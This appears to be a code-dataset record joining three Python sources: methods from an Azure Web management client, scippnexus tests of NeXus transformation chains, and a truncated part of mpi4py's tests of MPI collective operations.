header_dict = {} client_raw_response = models.CertificatePaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_all_server_farms( self, detailed=None, custom_headers=None, raw=False, **operation_config): """Gets all App Service Plans for a subcription. :param detailed: False to return a subset of App Service Plan properties, true to return all of the properties. Retrieval of all properties may increase the API latency. :type detailed: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ServerFarmWithRichSkuPaged <azure.mgmt.web.models.ServerFarmWithRichSkuPaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/serverfarms' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if detailed is not None: query_parameters['detailed'] = self._serialize.query("detailed", detailed, 'bool') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.ServerFarmWithRichSkuPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.ServerFarmWithRichSkuPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_all_sites( self, custom_headers=None, raw=False, **operation_config): """Gets all Web Apps for a subscription. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SitePaged <azure.mgmt.web.models.SitePaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/sites' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.SitePaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.SitePaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_all_hosting_environments( self, custom_headers=None, raw=False, **operation_config): """Gets all hostingEnvironments (App Service Environment) for a subscription. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`HostingEnvironmentPaged <azure.mgmt.web.models.HostingEnvironmentPaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/hostingEnvironments' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.HostingEnvironmentPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.HostingEnvironmentPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_all_managed_hosting_environments( self, custom_headers=None, raw=False, **operation_config): """Gets all managed hosting environments for a subscription. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ManagedHostingEnvironmentPaged <azure.mgmt.web.models.ManagedHostingEnvironmentPaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/managedHostingEnvironments' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.ManagedHostingEnvironmentPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.ManagedHostingEnvironmentPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_all_classic_mobile_services( self, custom_headers=None, raw=False, **operation_config): """Gets all mobile services for a subscription. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ClassicMobileServicePaged <azure.mgmt.web.models.ClassicMobileServicePaged>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/classicMobileServices' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.ClassicMobileServicePaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.ClassicMobileServicePaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def list_premier_add_on_offers( self, custom_headers=None, raw=False, **operation_config): """List premier add on offers. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/premieraddonoffers' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def is_hosting_environment_name_available( self, name, custom_headers=None, raw=False, **operation_config): """Whether hosting environment name is available. :param name: Hosting environment name :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/ishostingenvironmentnameavailable' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['name'] = self._serialize.query("name", name, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def is_hosting_environment_with_legacy_name_available( self, name, custom_headers=None, raw=False, **operation_config): """Whether hosting environment name is available. :param name: Hosting environment name :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/ishostingenvironmentnameavailable/{name}' path_format_arguments = { 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def check_name_availability( self, request, custom_headers=None, raw=False, **operation_config): """Check if resource name is available. :param request: Name availability request :type request: :class:`ResourceNameAvailabilityRequest <azure.mgmt.web.models.ResourceNameAvailabilityRequest>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ResourceNameAvailability <azure.mgmt.web.models.ResourceNameAvailability>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/checknameavailability' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(request, 'ResourceNameAvailabilityRequest') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('ResourceNameAvailability', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized

44.246429

144

0.645626

3,803

37,167

6.114383

0.056797

0.045155

0.026835

0.040253

0.890122

0.885133

0.882553

0.85804

0.854126

0.847805

0

0.003057

0.260742

37,167

839

145

44.299166

0.843245

0.236123

0

0.828194

0

0.141908

0.086717

0

1

0.046256

false

0

0.008811

0

0.129956

0

null

0

1

0

1

0

null

0

7

1637731316bb59d61e830fa45576be875d01019b

8,270

py

Python

tests/nxtransformations_test.py

scipp/scippnexus

978b3b671355f55f94eb9d79f2ffe5cf793605ba

[ "BSD-3-Clause" ]

null

tests/nxtransformations_test.py

scipp/scippnexus

978b3b671355f55f94eb9d79f2ffe5cf793605ba

[ "BSD-3-Clause" ]

null

tests/nxtransformations_test.py

scipp/scippnexus

978b3b671355f55f94eb9d79f2ffe5cf793605ba

[ "BSD-3-Clause" ]

null

import h5py import numpy as np import scipp as sc from scippnexus import NXroot, NX_class from scippnexus import nxtransformations import pytest @pytest.fixture() def nxroot(request): """Yield NXroot containing a single NXentry named 'entry'""" with h5py.File('dummy.nxs', mode='w', driver="core", backing_store=False) as f: root = NXroot(f) root.create_class('entry', NX_class.NXentry) yield root def create_detector(group): data = sc.array(dims=['xx', 'yy'], values=[[1.1, 2.2], [3.3, 4.4]]) detector_numbers = sc.array(dims=['xx', 'yy'], unit=None, values=np.array([[1, 2], [3, 4]])) detector = group.create_class('detector_0', NX_class.NXdetector) detector.create_field('detector_number', detector_numbers) detector.create_field('data', data) return detector def test_Transformation_with_single_value(nxroot): detector = create_detector(nxroot) detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1')) transformations = detector.create_class('transformations', NX_class.NXtransformations) value = sc.scalar(6.5, unit='mm') offset = sc.spatial.translation(value=[1, 2, 3], unit='mm') vector = sc.vector(value=[0, 0, 1]) t = value.to(unit='m') * vector expected = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit) expected = expected * sc.spatial.translation(value=[0.001, 0.002, 0.003], unit='m') value = transformations.create_field('t1', value) value.attrs['depends_on'] = '.' value.attrs['transformation_type'] = 'translation' value.attrs['offset'] = offset.values value.attrs['offset_units'] = str(offset.unit) value.attrs['vector'] = vector.value depends_on = detector['depends_on'][()].value t = nxtransformations.Transformation(nxroot[depends_on]) assert t.depends_on is None assert sc.identical(t.offset, offset) assert sc.identical(t.vector, vector) assert sc.identical(t[()], expected) def test_chain_with_single_values_and_different_unit(nxroot): detector = create_detector(nxroot) detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1')) transformations = detector.create_class('transformations', NX_class.NXtransformations) value = sc.scalar(6.5, unit='mm') offset = sc.spatial.translation(value=[1, 2, 3], unit='mm') vector = sc.vector(value=[0, 0, 1]) t = value.to(unit='m') * vector value1 = transformations.create_field('t1', value) value1.attrs['depends_on'] = 't2' value1.attrs['transformation_type'] = 'translation' value1.attrs['offset'] = offset.values value1.attrs['offset_units'] = str(offset.unit) value1.attrs['vector'] = vector.value value2 = transformations.create_field('t2', value.to(unit='cm')) value2.attrs['depends_on'] = '.' value2.attrs['transformation_type'] = 'translation' value2.attrs['vector'] = vector.value expected = sc.spatial.affine_transform(value=np.identity(4), unit=t.unit) expected = expected * sc.spatial.translations( dims=t.dims, values=2 * t.values, unit=t.unit) expected = expected * sc.spatial.translation(value=[0.001, 0.002, 0.003], unit='m') assert sc.identical(detector[...].coords['depends_on'], expected) def test_Transformation_with_multiple_values(nxroot): detector = create_detector(nxroot) detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1')) transformations = detector.create_class('transformations', NX_class.NXtransformations) log = sc.DataArray( sc.array(dims=['time'], values=[1.1, 2.2], unit='m'), coords={'time': sc.array(dims=['time'], values=[11, 22], unit='s')}) log.coords['time'] = sc.epoch(unit='ns') + log.coords['time'].to(unit='ns') offset = sc.spatial.translation(value=[1, 2, 3], unit='m') vector = sc.vector(value=[0, 0, 1]) t = log * vector t.data = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit) expected = t * offset value = transformations.create_class('t1', NX_class.NXlog) value['time'] = log.coords['time'] - sc.epoch(unit='ns') value['value'] = log.data value.attrs['depends_on'] = '.' value.attrs['transformation_type'] = 'translation' value.attrs['offset'] = offset.values value.attrs['offset_units'] = str(offset.unit) value.attrs['vector'] = vector.value depends_on = detector['depends_on'][()].value t = nxtransformations.Transformation(nxroot[depends_on]) assert t.depends_on is None assert sc.identical(t.offset, offset) assert sc.identical(t.vector, vector) assert sc.identical(t[()], expected) def test_chain_with_multiple_values(nxroot): detector = create_detector(nxroot) detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1')) transformations = detector.create_class('transformations', NX_class.NXtransformations) log = sc.DataArray( sc.array(dims=['time'], values=[1.1, 2.2], unit='m'), coords={'time': sc.array(dims=['time'], values=[11, 22], unit='s')}) log.coords['time'] = sc.epoch(unit='ns') + log.coords['time'].to(unit='ns') offset = sc.spatial.translation(value=[1, 2, 3], unit='m') vector = sc.vector(value=[0, 0, 1]) t = log * vector t.data = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit) value1 = transformations.create_class('t1', NX_class.NXlog) value1['time'] = log.coords['time'] - sc.epoch(unit='ns') value1['value'] = log.data value1.attrs['depends_on'] = 't2' value1.attrs['transformation_type'] = 'translation' value1.attrs['offset'] = offset.values value1.attrs['offset_units'] = str(offset.unit) value1.attrs['vector'] = vector.value value2 = transformations.create_class('t2', NX_class.NXlog) value2['time'] = log.coords['time'] - sc.epoch(unit='ns') value2['value'] = log.data value2.attrs['depends_on'] = '.' value2.attrs['transformation_type'] = 'translation' value2.attrs['vector'] = vector.value expected = sc.spatial.affine_transform(value=np.identity(4), unit=t.unit) expected = t * (t * (offset * expected)) assert sc.identical(detector[...].coords['depends_on'].value, expected) def test_chain_with_multiple_values_and_different_time_unit(nxroot): detector = create_detector(nxroot) detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1')) transformations = detector.create_class('transformations', NX_class.NXtransformations) # Making sure to not use nanoseconds since that is used internally and may thus # mask bugs. log = sc.DataArray( sc.array(dims=['time'], values=[1.1, 2.2], unit='m'), coords={'time': sc.array(dims=['time'], values=[11, 22], unit='s')}) log.coords['time'] = sc.epoch(unit='us') + log.coords['time'].to(unit='us') offset = sc.spatial.translation(value=[1, 2, 3], unit='m') vector = sc.vector(value=[0, 0, 1]) t = log * vector t.data = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit) value1 = transformations.create_class('t1', NX_class.NXlog) value1['time'] = log.coords['time'] - sc.epoch(unit='us') value1['value'] = log.data value1.attrs['depends_on'] = 't2' value1.attrs['transformation_type'] = 'translation' value1.attrs['offset'] = offset.values value1.attrs['offset_units'] = str(offset.unit) value1.attrs['vector'] = vector.value value2 = transformations.create_class('t2', NX_class.NXlog) value2['time'] = log.coords['time'].to(unit='ms') - sc.epoch(unit='ms') value2['value'] = log.data value2.attrs['depends_on'] = '.' value2.attrs['transformation_type'] = 'translation' value2.attrs['vector'] = vector.value expected = sc.spatial.affine_transform(value=np.identity(4), unit=t.unit) expected = t * (t * (offset * expected)) assert sc.identical(detector[...].coords['depends_on'].value, expected)

46.201117

87

0.655744

1,073

8,270

4.944082

0.115564

0.040716

0.026956

0.051272

0.854288

0.829406

0.807917

0.789632

0

0.023578

0.179444

8,270

178

88

46.460674

0.758179

0.017412

0

0.730769

0

0.127848

0.018475

0

0.070513

1

0.044872

false

0

0.038462

0

0.089744

0

null

0

1

0

1

0

null

0

7

16655def1e19f9bcebc129acd95c477417382d7f

28,209

py

Python

test/test_cco_buf.py

saosudo/mpi4py

18f16da45eaaacfba4cc0293964e1a6548d4c6a6

[ "BSD-2-Clause" ]

3

2021-11-18T20:01:35.000Z

2021-12-17T17:47:23.000Z

test/test_cco_buf.py

saosudo/mpi4py

18f16da45eaaacfba4cc0293964e1a6548d4c6a6

[ "BSD-2-Clause" ]

1

2022-03-16T07:29:30.000Z

2022-03-31T10:19:07.000Z

test/test_cco_buf.py

saosudo/mpi4py

18f16da45eaaacfba4cc0293964e1a6548d4c6a6

[ "BSD-2-Clause" ]

3

2021-01-20T13:57:25.000Z

2021-08-05T06:48:58.000Z

from mpi4py import MPI import mpiunittest as unittest import arrayimpl from functools import reduce prod = lambda sequence,start=1: reduce(lambda x, y: x*y, sequence, start) def skip_op(typecode, op): if typecode in 'FDG': if op in (MPI.MAX, MPI.MIN): return True return False def maxvalue(a): try: typecode = a.typecode except AttributeError: typecode = a.dtype.char if typecode == ('f'): return 1e30 elif typecode == ('d'): return 1e300 else: return 2 ** (a.itemsize * 7) - 1 class BaseTestCCOBuf(object): COMM = MPI.COMM_NULL def testBarrier(self): self.COMM.Barrier() def testBcast(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): if rank == root: buf = array(root, typecode, root) else: buf = array( -1, typecode, root) self.COMM.Bcast(buf.as_mpi(), root=root) for value in buf: self.assertEqual(value, root) def testGather(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): sbuf = array(root, typecode, root+1) if rank == root: rbuf = array(-1, typecode, (size,root+1)) else: rbuf = array([], typecode) self.COMM.Gather(sbuf.as_mpi(), rbuf.as_mpi(), root=root) if rank == root: for value in rbuf.flat: self.assertEqual(value, root) def testScatter(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): rbuf = array(-1, typecode, size) if rank == root: sbuf = array(root, typecode, (size, size)) else: sbuf = array([], typecode) self.COMM.Scatter(sbuf.as_mpi(), rbuf.as_mpi(), root=root) for value in rbuf: self.assertEqual(value, root) def testAllgather(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): sbuf = array(root, typecode, root+1) rbuf = array( -1, typecode, (size, root+1)) self.COMM.Allgather(sbuf.as_mpi(), rbuf.as_mpi()) for value in rbuf.flat: self.assertEqual(value, root) def testAlltoall(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): sbuf = array(root, typecode, (size, root+1)) rbuf = array( -1, typecode, (size, root+1)) self.COMM.Alltoall(sbuf.as_mpi(), rbuf.as_mpi_c(root+1)) for value in rbuf.flat: self.assertEqual(value, root) def assertAlmostEqual(self, first, second): num = complex(second-first) den = complex(second+first)/2 or 1.0 if (abs(num/den) > 1e-2): raise self.failureException('%r != %r' % (first, second)) def testReduce(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue for root in range(size): sbuf = array(range(size), typecode) rbuf = array(-1, typecode, size) self.COMM.Reduce(sbuf.as_mpi(), rbuf.as_mpi(), op, root) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if rank != root: self.assertEqual(value, -1) continue if op == MPI.SUM: if (i * size) < max_val: self.assertAlmostEqual(value, i*size) elif op == MPI.PROD: if (i ** size) < max_val: self.assertAlmostEqual(value, i**size) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) def testAllreduce(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD): if skip_op(typecode, op): continue sbuf = array(range(size), typecode) rbuf = array(0, typecode, size) self.COMM.Allreduce(sbuf.as_mpi(), rbuf.as_mpi(), op) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if op == MPI.SUM: if (i * size) < max_val: self.assertAlmostEqual(value, i*size) elif op == MPI.PROD: if (i ** size) < max_val: self.assertAlmostEqual(value, i**size) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) def testReduceScatter(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD): if skip_op(typecode, op): continue rcnt = list(range(1,size+1)) sbuf = array([rank+1]*sum(rcnt), typecode) rbuf = array(-1, typecode, rank+1) self.COMM.Reduce_scatter(sbuf.as_mpi(), rbuf.as_mpi(), None, op) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if op == MPI.SUM: redval = sum(range(size))+size if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.PROD: redval = prod(range(1,size+1)) if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.MAX: self.assertEqual(value, size) elif op == MPI.MIN: self.assertEqual(value, 1) rbuf = array(-1, typecode, rank+1) self.COMM.Reduce_scatter(sbuf.as_mpi(), rbuf.as_mpi(), rcnt, op) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if op == MPI.SUM: redval = sum(range(size))+size if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.PROD: redval = prod(range(1,size+1)) if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.MAX: self.assertEqual(value, size) elif op == MPI.MIN: self.assertEqual(value, 1) def testReduceScatterBlock(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD): if skip_op(typecode, op): continue for rcnt in range(1,size): sbuf = array([rank]*rcnt*size, typecode) rbuf = array(-1, typecode, rcnt) if op == MPI.PROD: sbuf = array([rank+1]*rcnt*size, typecode) self.COMM.Reduce_scatter_block(sbuf.as_mpi(), rbuf.as_mpi(), op) max_val = maxvalue(rbuf) v_sum = (size*(size-1))/2 v_prod = 1 for i in range(1,size+1): v_prod *= i v_max = size-1 v_min = 0 for i, value in enumerate(rbuf): if op == MPI.SUM: if v_sum <= max_val: self.assertAlmostEqual(value, v_sum) elif op == MPI.PROD: if v_prod <= max_val: self.assertAlmostEqual(value, v_prod) elif op == MPI.MAX: self.assertEqual(value, v_max) elif op == MPI.MIN: self.assertEqual(value, v_min) def testScan(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() # -- for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue sbuf = array(range(size), typecode) rbuf = array(0, typecode, size) self.COMM.Scan(sbuf.as_mpi(), rbuf.as_mpi(), op) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if op == MPI.SUM: if (i * (rank + 1)) < max_val: self.assertAlmostEqual(value, i * (rank + 1)) elif op == MPI.PROD: if (i ** (rank + 1)) < max_val: self.assertAlmostEqual(value, i ** (rank + 1)) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) def testExscan(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue sbuf = array(range(size), typecode) rbuf = array(0, typecode, size) try: self.COMM.Exscan(sbuf.as_mpi(), rbuf.as_mpi(), op) except NotImplementedError: self.skipTest('mpi-exscan') if rank == 1: for i, value in enumerate(rbuf): self.assertEqual(value, i) elif rank > 1: max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if op == MPI.SUM: if (i * rank) < max_val: self.assertAlmostEqual(value, i * rank) elif op == MPI.PROD: if (i ** rank) < max_val: 